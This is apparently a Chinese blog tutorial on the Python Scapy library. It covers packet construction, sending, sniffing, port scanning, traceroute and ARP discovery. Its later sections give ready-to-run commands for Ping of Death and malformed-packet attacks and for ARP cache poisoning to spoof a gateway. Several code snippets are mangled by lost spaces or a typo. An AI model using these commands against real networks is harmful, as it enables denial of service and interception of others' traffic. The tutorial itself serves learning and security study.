我们可以拿 scapy 做什么

记得当初学习计算机网络的时候，在机房用得比较多的是老旧的 sniffer，自己动手的时候用的比较多的是 wireshark。后面做 Web 开发的时候，用 Fiddler 比较顺手，也比较轻便，满足日常开发的需求。当然熟练的话也可以直接用 tcpdump 之类的工具。后面在用 Python 做安全方面的内容的时候，发现了 Scapy 这么一个强大的嗅探库（不是爬虫框架 Scrapy），支持 Py2 和 Py3，而且在 QPython 上也集成了。这个还真的是利器啊！

什么是 Scapy

Scapy 官网上一开始就是对着自家的程序一通吹，如“强大的交互式包操作工具”、“支持大量协议的包解析和包构造”、“轻松取代 hping，85% 的 nmap，arpspoof，tcpdump 等等”。不过归根到底，它说的强大功能，都是基于 Scapy 是一个强大的网络数据包操作工具才能实现得了的。

安装 Scapy

Scapy 有 1.2 和 2.x 两种版本，前者据文档介绍已经是弃用状态了。因为这个库比较依赖 *nix 系统的 libpcap、libdnet 等库，因此在 Linux、BSD、Mac OS X 上可以简单的使用 pip install scapy 就能安装 Scapy（当然文档还会说明如何从 git 上获取最新版本的 Scapy）。对于 Windows 系统，会稍微麻烦一点，要先安装最新版的 Npcap，当然在 Winpcap 下也是可以运行的（这个如果你装过 Fiddler 按推荐步骤应该是连带安装了的，不过需要注意），然后也是一样通过 pip 工具安装 Scapy。

安装完成后，在 Python 交互式界面输入：

>>> fromscapy.allimport*

没有报错，证明安装成功（v1.2 版本使用 from scapy import *）

Scapy 也是可以直接运行的，安装成功后在命令行或 shell 运行 scapy 会进入到 Scapy 的交互式界面。前面部分信息会提示当前环境不可以使用什么功能，如希望使用 plot 需要 matplotlib，使用 psdump 或 pdfdump 需要 PyX 等。

Scapy 使用基础

构造数据包

>>> fromscapy.allimport*

>>> ip_package = IP(dst='www.163.com', ttl=80)

>>> ip_package.src

'10.0.3.173'

>>> ip_package.dst

Net('www.163.com')

>>> ip_package.ttl

# 显示 raw layer

>>> raw_package = raw(ip_package)

>>> raw_package

b'E\x00\x00\x14\x00\x01\x00\x00P\x00\x19\x92\n\x00\x03\xad}Y\xc6Q'

# 显示以太网信息

>>> ether = Ether(raw_pacakge)

>>> ether

如上所示，我们构造了一个目标地址为 163.com 的，生存周期为 80 的一个 IP 数据包，并打印出其信息

除了 IP 协议，Scapy 还支持多种协议类型的包数据，而且这些包的数据还可以通过 / 来进行组合，下层可以根据上层重载他的一个或多个默认字段。组合的层次顺序参照 OSI 标准模型，如：

>>> package = IP(dst='www.163.com')/TCP(dport=80)/"GET / HTTP/1.1\r\n\r\n"

>>> package

这里组合了 IP 层、TCP 层以及 HTTP 层级的包（HTTP 报头约定以 \r\n\r\n 结尾）。

构造多个数据包

上面我们仅仅是构造了一个数据包，那么如何用 Scapy 构造多个数据报呢？对于包数据（甚至是每一层）的每个字段都可以赋值集合，显式指定集合可以生成对应的每一个字段元素对应的包：

# 指定掩码

>>> a=IP(dst="www.slashdot.org/30")

>>> a

>>> [pforpina]

[, ,

, ]

# 指定生命周期

>>> b=IP(ttl=[1,2,(5,9)])

>>> b

>>> [pforpinb]

[, , , ,

, , ]

# 指定目标端口

>>> c=TCP(dport=[80,443])

>>> [pforpina/c]

[>,

fuzz() 函数

函数 fuzz 可以根据模板快速构造数据包，同时会保证其他参数是正确的，文档的例子：

>>> IP(dst="www.bing.com")/fuzz(UDP()/NTP(version=4))

在这个包里面，IP 层是指定了 dst（注意 fuzz 对于 IP 层也可以使用，但是 src 和 dst 不能是随机的必须指定），而 UDP 和 NTP 层是 fuzz 的。因此这个包在 IP 层之上除了检验和以及 UDP 端口为 123（NTP 协议规定）之外，其他的字段都是随机的。

批量操作数据包

Scapy 也提供了一些方法来操作一组数据包，如下表所示：

方法说明

summary()显式每一个数据包的摘要列表

nsummary()同上，可以指定数据包的数量

filter()返回一个 lambda 过滤后的数据包列表

hexdump()以 hexdump 的形式显示全部数据包

hexraw()以 hexdump 的形式显示全部数据包的 Raw Layer

padding()以填充 hexdump 的形式返回全部数据包

nzpadding()以非零填充 hexdump 的形式返回全部数据包

发送数据包

Scapy 提供了两个函数来发送数据包：send() 以及 sendp()。send() 作用于第三层也就是网络层，也就是说它会帮你处理掉路由以及下面两层（即物理层和链路层）。当然你可以使用 sendp() 作用于第二层，这需要你指定恰当的 interface 以及恰当的链路协议。当指定管关键字参数 return_packets 为 True 是会返回发送的包列表。

>>> send(IP(dst="www.baidu.com")/TCP(dport=80), return_packets=True)

Sent1packets.

# 注意 Window 因为用了 Npcap 作为中间组件，所以基本上指定的 iface 都是 Npcap Loopback Adapter

>>> sendp("Hello World", iface="Npcap Loopback Adapter", loop=1, inter=0.2)

............................................................................................................

Sent40packets.

发送并接收数据包（sr）

sr 函数负责发送数据包并接收应答，返回值是一对数据包以及其应答，还包括没有被应答的数据包，所以一共有两个列表。

sr1 函数是上面的一个变种，只返回一个应答数据包列表。这些发送的数据包必须位于第三层之上（IP、ARP 等等）。

srp 函数和 sr 类似，但是作用于第二层之上（Ethernet， 802.3 等等），如果没有任何相应，则当到达超时时间的时候将得到一个 None 的值。

# 给 baidu.com 发送 tcp 报文

>>> ans, unans = sr(IP(dst="www.baidu.com")/TCP(dport=[80,443]),inter=0.5,retry=-2,timeout=1)

Begin emission:

.*.........*Finished sending2packets.

Received12packets, got2answers, remaining0packets

>>> ans

>>> unans

导出导入 PCAP 文件

Scapy 可以读取 pcap 文件以及往 pcap 文件写入包数据

>>> a = rdpcap("/spare/captures/isakmp.cap")

>>> a

# 或者

>>> a = sniff(offline="isakmp.cap")

>>> wrpcap("temp.cap", pkts)

使用 Scapy 进行嗅探

使用 Scapy 进行嗅探操作，最核心的函数即是 sniff。它有一些常用的入参，如下表所示：

参数说明

count需要捕获的包的个数，0 代表无限

store是否需要存储捕获到的包

filter指定嗅探规则过滤，遵循 BPF （伯克利封包过滤器）

timeout指定超时时间

iface指定嗅探的网络接口或网络接口列表，默认为 None，即在所有网络接口上嗅探

prn传入一个可调用对象，将会应用到每个捕获到的数据包上，如果有返回值，那么它不会显示

offline从 pcap 文件读取包数据而不是通过嗅探的方式获得

# 嗅探实例

>>> sniff(filter="tcp and port 80 and target www.acfun.cn", count=3)

>>> a = _

>>> a.nsummary()

0000Ether / IP / TCP10.0.3.173:62061>202.105.176.96:https A / Raw

0001Ether / IP / TCP202.105.176.96:https >10.0.3.173:62061A

0002Ether / IP / TCP10.0.3.173:57087>59.110.88.58:https PA / Raw

Scapy 使用实例

获取本机 IP 信息

一般网上给出的都是 socket 的方式，先获取计算机名，再根据计算机名获取 host 地址（即 IP 地址），现在使用 Scapy 可以直接构造 IP 数据包并获取其 src 的方式得到：

>>> a = IP(dst="www.baidu.com")

>>> a.src

至于在 Windows 上需要知道自己具体的网卡信息以填入 iface 中，因此可以使用 show_interfaces() 函数获得。更多的内置函数可以通过 lsc() 函数查看。

>>> lsc()

IPID_count : Identify IP id values classesina list of packets

arpcachepoison : Poison target's cache with (your MAC,victim's IP) couple

arping : Send ARP who-has requests to determine which hosts are up

bind_layers : Bind2layers on some specific fields' values

bridge_and_sniff : Forward traffic between interfaces if1 and if2, sniff and return

chexdump : Build a per byte hexadecimal representation

computeNIGroupAddr : Compute the NI group Address. Can take a FQDN as input parameter

corrupt_bits : Flip a given percentage or number of bits from a string

corrupt_bytes : Corrupt a given percentage or number of bytes from a string

defrag : defrag(plist) -> ([not fragmented], [defragmented],

defragment : defrag(plist) -> plist defragmented as much as possible

dhcp_request : --

dyndns_add : Send a DNS add message to a nameserver for "name" to have a new "rdata"

dyndns_del : Send a DNS delete message to a nameserver for "name"

etherleak : Exploit Etherleak flaw

fletcher16_checkbytes: Calculates the Fletcher-16 checkbytes returned as 2 byte binary-string.

fletcher16_checksum : Calculates Fletcher-16 checksum of the given buffer.

fragleak : --

fragleak2 : --

fragment : Fragment a big IP datagram

fuzz : Transform a layer into a fuzzy layer by replacing some default values by random objects

getmacbyip : Return MAC address corresponding to a given IP address

getmacbyip6 : Returns the MAC address corresponding to an IPv6 address

hexdiff : Show differences between 2 binary strings

hexdump : Build a tcpdump like hexadecimal view

hexedit : --

hexstr : --

import_hexcap : --

is_promisc : Try to guess if target is in Promisc mode. The target is provided by its ip.

linehexdump : Build an equivalent view of hexdump() on a single line

ls : List available layers, or infos on a given layer class or name

neighsol : Sends an ICMPv6 Neighbor Solicitation message to get the MAC address of the neighbor with specified IPv6 address addr

...

ARP 主机发现

使用 ARP Ping 是在本地以太网内发现主机的最快的方法：

>>> ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="10.0.3.0/24"), timeout=2)

# 也可以使用内置的 arp ping 方法

>>> arping("10.0.3.*")

基于 TCP 的端口扫描

给每个端口发送 TCP SYN 包，如果收到 SYN-ACK 包或 TCP RST 复位包或者 ICMP 错误，证明端口存在。

>>> res, unans = sr( IP(dst="10.0.3.171")/TCP(flags="S", dport=(1,1024)) )

# 查看结果

>>> res.nsummary(prn=lambda(s,r): r.src, lfilter=lambda(s,r): r.haslayer(ISAKMP))

Scapy 文档后面也提到过了对于一些防火墙会把没有 TCP 时间戳的包丢弃，所以我们需要加上其他选项

>>> res, unans = sr( IP(dst="10.0.3.171")/TCP(flags="S", options=[('Timestamp', (0,0))], dport=(1,1024)) )

TCP 路由跟踪（TCP traceroute）

我们可以自行通过 sr 发送构造的 TCP 数据包来做 TCP 路由跟踪

>>> ans, unans = sr(IP(dst="www.baidu.com", ttl=(4,25), id=RandShort())/TCP(flags=0x2))

Begin emission:

..Finished sending22packets.

.....*...*.......*.**..***..*.**.******.........

Received50packets, got17answers, remaining5packets

>>> forsnd, rcvinans:

... print(snd.ttl, rcv.src, isinstance(rcv.payload, TCP))

...

4183.56.31.29False

559.37.176.153False

614.215.177.39True

714.215.177.39True

8113.96.4.106False

914.215.177.39True

...

2014.215.177.39True

>>>

实际上 TCP Traceroute 已经提供了一个单独的函数来实现：

>>> traceroute("www.baidu.com")

Begin emission:

Finished sending30packets.

**********************

Received22packets, got22answers, remaining8packets

14.215.177.39:tcp80

210.1.1.111

3183.56.30.20911

7113.96.4.10211

1214.215.177.39SA

...

3014.215.177.39SA

(, )

DNS 跟踪

出自 Scapy 的文档说明，直接在 traceroute 函数设置 l4 参数作为一个完整的数据包来实现：

>>> ans, unans = traceroute("www.baidu.com", l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org")))

Begin emission:

Finished sending30packets.

..*.*...***..*..................................

Received48packets, got6answers, remaining24packets

14.215.177.38:udp53

210.1.1.111

3183.56.30.20911

4183.56.31.2911

559.37.176.15311

6183.56.34.3311

7113.96.4.7811

畸形报文攻击

畸形报文攻击是通过向目标系统发送有缺陷的IP报文，使得目标系统在处理这样的 IP 包时会出现崩溃，给目标系统带来损失。主要的畸形报文攻击有 Ping of Death、Teardrop 等。如下所示生成一个畸形报文：

>>> send(IP(dst="10.0.3.234", ihl=2, version=3)/ICMP())

如下构造 Ping of Death：

>>> send(fragment(IP(dst="10.0.3.234")/ICMP()/("X"*60000)))

Ping of Death 俗称 “死拼”，其攻击原理是攻击者 A 向受害者 B 发送一些尺寸超大的 ICMP (Ping 命令使用的是 ICMP 报文)报文对其进行攻击(对于有些路由器或系统，在接收到一个这样的报文后，由于处理不当，会造成系统崩溃、死机或重启)。由于 IP 报文的最大长度是 216-1=65535 个字节，那么去除 IP 首部的 20 个字节和 ICMP 首部的 8 个字节，实际数据部分长度最大为：65535-20-8=65507 个字节。所谓的尺寸超大的 ICMP 报文就是指数据部分长度超过 65507 个字节的 ICMP 报文。而且由于 IP 报文会分片，单片报文一般不超过显示，实际上会到达目的机器后才会重组导致报文过大。

ARP Cache 投毒

ARP 协议的工作方式

ARP 协议负责通过 IP 地址找到 MAC 地址，在以太网中所使用的地址是 MAC 地址。它的工作方式如下：

一台机器 A 想知道拥有 10.0.2.105 这个 IP 地址的主机并进行通信，因此机器 A 向所在网段的所有机器发送过一个广播包，询问谁的 IP 是 “10.0.2.105”。正常情况下其他机器会忽略这个消息，只有 10.0.2.105 IP 的主机会响应，返回自己的 MAC 地址。然后机器 A 把对应的 IP 地址和 MAC 地址缓存到 ARP 缓存表，下次直接查询这个表而不发送 ARP 请求（Windows 下 ARP 缓存表可以用 arp -a 查看）。

如何实现

ARP 缓存投毒，又称作 ARP 欺骗，是非常常用的一种攻击手段，一般用在中间人攻击里面，将攻击方伪装成网关（即网关的 IP 地址对应攻击方的 MAC 地址）。使用 Scapy 可以简洁地实现 ARP Cache 投毒。

# 先获取任意已知主机的 MAC 地址

>>> mac = ARP(pdst="10.0.3.1")# 或 getmacbyip("10.0.3.1")

>>> mac.hwsrc# 0c:da:41:61:f3:67

>>> mac1 = sr1(ARP(pdst="10.0.3.234"))# 或 getmacbyip("10.0.3.234")

>>> mac1.hwsrc# 94:65:2d:2a:10:ad

# 本机的 MAC 地址可以查看 ipconfig 得到：68:ec:c5:ce:21:fb

# 欺骗 10.0.3.234 主机，误以为本机（10.0.3.173）是网关（10.0.3.1）

>>> sendp(Ether(dst="94:65:2d:2a:10:ad")/ARP(op="is-at", psrc="10.0.3.1", pdst="10.0.3.234"), inter=RandNum(10,40), loop=1)# op is-at 代表 arp 应答包， who-has 代表 arp 请求包

# 欺骗网关 10.0.3.1，误以为本机（10.0.3.173）才是 10.0.3.234 主机

>>> srploop(Ether(dst="0c:da:41:61:f3:67")/ARP(op=2, psrc="10.0.3.234", hwsrc="68:ec:c5:ce:21:fb", pdst="10.0.3.1"))

实际上 Scapy 也提供了封装好的方法来实现 ARP 缓存投毒：

# 效果和上述例子一样

>>> arpcachepoison("10.0.3.234","10.0.3.1", interval=2)

# 分别指定投毒的目标地址 target，还有要伪装的地址 victim，以及发送的间隔时间

MOTS 攻击

在 FreeBuf 里有关于 MOTS（Man-on-the-Side）的具体介绍，在这里仅简述一下信息：

Man-on-the-side 攻击是攻击者监听通信信道利用时间差注入新数据。它有两个特征：

攻击者能够读取流量信息并插入新消息，但是不会修改或删除通信方发送的消息。

当受害者发出请求时，攻击者利用时间优势让自己发送的响应先于合法的响应到达受害者。

这些在 MOTS 中注入的数据包之所以难以被检测，因为除了应用层的数据之外，一般都会带有 TCP FIN 标志位，客户端（受害者）得到这个数据包的时候，除了解析应用层的数据外，还会关闭 TCP 套接字并返回 FIN+ACK 作为应答，这样实际的包到达的时候会发现 TCP 套接字早就被关闭了。

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